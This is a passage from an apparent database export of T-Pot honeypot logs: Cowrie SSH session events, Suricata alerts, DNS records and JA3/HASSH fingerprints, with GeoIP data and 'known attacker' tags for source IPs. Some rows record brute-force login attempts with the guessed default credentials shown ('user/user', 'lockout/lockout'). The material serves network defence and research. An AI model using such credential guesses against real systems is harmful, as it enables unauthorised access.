"t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	UA
36530	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:15:15.4591+03	2021-09-20 15:30:02.388868+03	{"_id": "RQYhA3wBvYTbRNuEv2Oc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "abbe78cfcd7d", "@version": "1", "duration": 1.3182051181793213, "timestamp": "2021-09-20T12:15:15.459100Z", "@timestamp": "2021-09-20T12:15:15.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	UA
36531	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:15:18.78823+03	2021-09-20 15:30:02.390868+03	{"_id": "VAYhA3wBvYTbRNuEz2M-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [lockout/lockout] failed", "session": "56516c42c449", "@version": "1", "password": "lockout", "username": "lockout", "timestamp": "2021-09-20T12:15:18.788230Z", "@timestamp": "2021-09-20T12:15:18.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36532	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:15:20.107515+03	2021-09-20 15:30:02.391867+03	{"_id": "VQYhA3wBvYTbRNuE02Mm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "56516c42c449", "@version": "1", "duration": 3.833390235900879, "timestamp": "2021-09-20T12:15:20.107515Z", "@timestamp": "2021-09-20T12:15:20.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36533	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:15:32.665903+03	2021-09-20 15:30:02.393868+03	{"_id": "fQYiA3wBvYTbRNuEA2MX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38185, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1742, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2035062801704202, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39865, "timestamp": "2021-09-20T12:15:32.665903Z", "@timestamp": "2021-09-20T12:15:32.665Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36534	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:15:32.664842+03	2021-09-20 15:30:02.394868+03	{"_id": "fAYiA3wBvYTbRNuEA2MX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38185, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2035062801704202, "@version": "1", "in_iface": "enp5s0", "src_port": 39865, "dest_port": 53, "timestamp": "2021-09-20T12:15:32.664842Z", "@timestamp": "2021-09-20T12:15:32.664Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36535	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:32.713548+03	2021-09-20 15:30:02.396868+03	{"_id": "hQYiA3wBvYTbRNuEBGNh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36284, "dest_port": 443, "timestamp": "2021-09-20T12:15:32.713548", "@timestamp": "2021-09-20T12:15:32.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36536	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:15:32.753251+03	2021-09-20 15:30:02.397868+03	{"_id": "hgYiA3wBvYTbRNuEBGNh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36284, "timestamp": "2021-09-20T12:15:32.753251", "@timestamp": "2021-09-20T12:15:32.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36537	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:32.316989+03	2021-09-20 15:30:02.39987+03	{"_id": "iAYiA3wBvYTbRNuEBGNi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36282, "dest_port": 443, "timestamp": "2021-09-20T12:15:32.316989", "@timestamp": "2021-09-20T12:15:32.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36538	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 15:15:33.478599+03	2021-09-20 15:30:02.401867+03	{"_id": "iQYiA3wBvYTbRNuEBWP1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9295fd6eb19e", "@version": "1", "duration": 3.129728317260742, "timestamp": "2021-09-20T12:15:33.478599Z", "@timestamp": "2021-09-20T12:15:33.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	US
36539	172.217.169.106	109.199.241.180	Suricata	2021-09-20 15:15:33.087594+03	2021-09-20 15:30:02.402868+03	{"_id": "igYiA3wBvYTbRNuEBmP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:32.628736+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 198}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.169.106", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.169.106", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1105556716951552, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 45172, "timestamp": "2021-09-20T12:15:33.087594Z", "@timestamp": "2021-09-20T12:15:33.087Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36540	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 15:15:32.290386+03	2021-09-20 15:30:02.403867+03	{"_id": "eAYiA3wBvYTbRNuEAmMM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "9295fd6eb19e", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:15:32.290386Z", "@timestamp": "2021-09-20T12:15:32.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	US
36542	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:15:32.266083+03	2021-09-20 15:30:02.406868+03	{"_id": "fgYiA3wBvYTbRNuEA2MX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24978, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1742, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1186372969040302, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34295, "timestamp": "2021-09-20T12:15:32.266083Z", "@timestamp": "2021-09-20T12:15:32.266Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36543	172.217.169.106	109.199.241.180	Suricata	2021-09-20 15:15:32.855564+03	2021-09-20 15:30:02.408871+03	{"_id": "fwYiA3wBvYTbRNuEA2MX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:32.628736+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.169.106", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.169.106", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1105556716951552, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 45172, "timestamp": "2021-09-20T12:15:32.855564Z", "@timestamp": "2021-09-20T12:15:32.855Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36544	172.217.169.106	109.199.241.180	Suricata	2021-09-20 15:15:32.628736+03	2021-09-20 15:30:02.410867+03	{"_id": "ewYiA3wBvYTbRNuEA2MX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:32.628736+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.169.106", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.169.106", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1105556716951552, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 45172, "timestamp": "2021-09-20T12:15:32.628736Z", "@timestamp": "2021-09-20T12:15:32.628Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36545	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:15:32.359839+03	2021-09-20 15:30:02.411867+03	{"_id": "gwYiA3wBvYTbRNuEBGNg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36282, "timestamp": "2021-09-20T12:15:32.359839", "@timestamp": "2021-09-20T12:15:32.359Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36546	180.76.50.249	109.199.241.180	Cowrie	2021-09-20 15:15:40.562177+03	2021-09-20 15:30:02.412867+03	{"_id": "jQYiA3wBvYTbRNuEIWNP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "180.76.50.249", "asn": 38365, "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "180.76.50.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "aff58926b5df", "@version": "1", "duration": 120.00912642478943, "timestamp": "2021-09-20T12:15:40.562177Z", "@timestamp": "2021-09-20T12:15:40.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36547	180.76.50.249	109.199.241.180	Suricata	2021-09-20 15:15:40.811744+03	2021-09-20 15:30:02.414868+03	{"_id": "kAYiA3wBvYTbRNuEImNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:40.286445+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 229, "bytes_toserver": 1314}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "180.76.50.249", "asn": 38365, "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "180.76.50.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 904945229651693, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 56930, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:40.811744Z", "@timestamp": "2021-09-20T12:15:40.811Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
36548	104.96.95.80	109.199.241.180	Suricata	2021-09-20 15:15:40.73888+03	2021-09-20 15:30:02.415867+03	{"_id": "kQYiA3wBvYTbRNuEImNa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:40.453455+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 205}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "104.96.95.80", "asn": 16625, "as_org": "Akamai Technologies, Inc.", "latitude": 52.3824, "location": {"lat": 52.3824, "lon": 4.8995}, "timezone": "Europe/Amsterdam", "longitude": 4.8995, "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "104.96.95.80", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1156546569235279, "payload": "FQMDABqMK9VxyDzwWfHjCr6IsiWsvz99U7o9hISMdA==", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62642, "timestamp": "2021-09-20T12:15:40.738880Z", "@timestamp": "2021-09-20T12:15:40.738Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......+.q.<.Y..\\n...%..?}S.=...t"}}	1	\N	\N	alert	\N	NL
36549	104.96.95.80	109.199.241.180	Suricata	2021-09-20 15:15:40.508858+03	2021-09-20 15:30:02.417867+03	{"_id": "jwYiA3wBvYTbRNuEImNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:40.453455+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "104.96.95.80", "asn": 16625, "as_org": "Akamai Technologies, Inc.", "latitude": 52.3824, "location": {"lat": 52.3824, "lon": 4.8995}, "timezone": "Europe/Amsterdam", "longitude": 4.8995, "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "104.96.95.80", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1156546569235279, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62642, "timestamp": "2021-09-20T12:15:40.508858Z", "@timestamp": "2021-09-20T12:15:40.508Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	NL
36550	104.96.95.80	109.199.241.180	Suricata	2021-09-20 15:15:40.453455+03	2021-09-20 15:30:02.418867+03	{"_id": "jgYiA3wBvYTbRNuEImNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:40.453455+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "104.96.95.80", "asn": 16625, "as_org": "Akamai Technologies, Inc.", "latitude": 52.3824, "location": {"lat": 52.3824, "lon": 4.8995}, "timezone": "Europe/Amsterdam", "longitude": 4.8995, "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "104.96.95.80", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1156546569235279, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62642, "timestamp": "2021-09-20T12:15:40.453455Z", "@timestamp": "2021-09-20T12:15:40.453Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	NL
36551	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:15:45.958441+03	2021-09-20 15:30:02.420868+03	{"_id": "lAYiA3wBvYTbRNuENWPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:15:45.958441Z", "@timestamp": "2021-09-20T12:15:45.958Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36552	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:58.17916+03	2021-09-20 15:30:02.421867+03	{"_id": "uQYiA3wBvYTbRNuEZmMl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 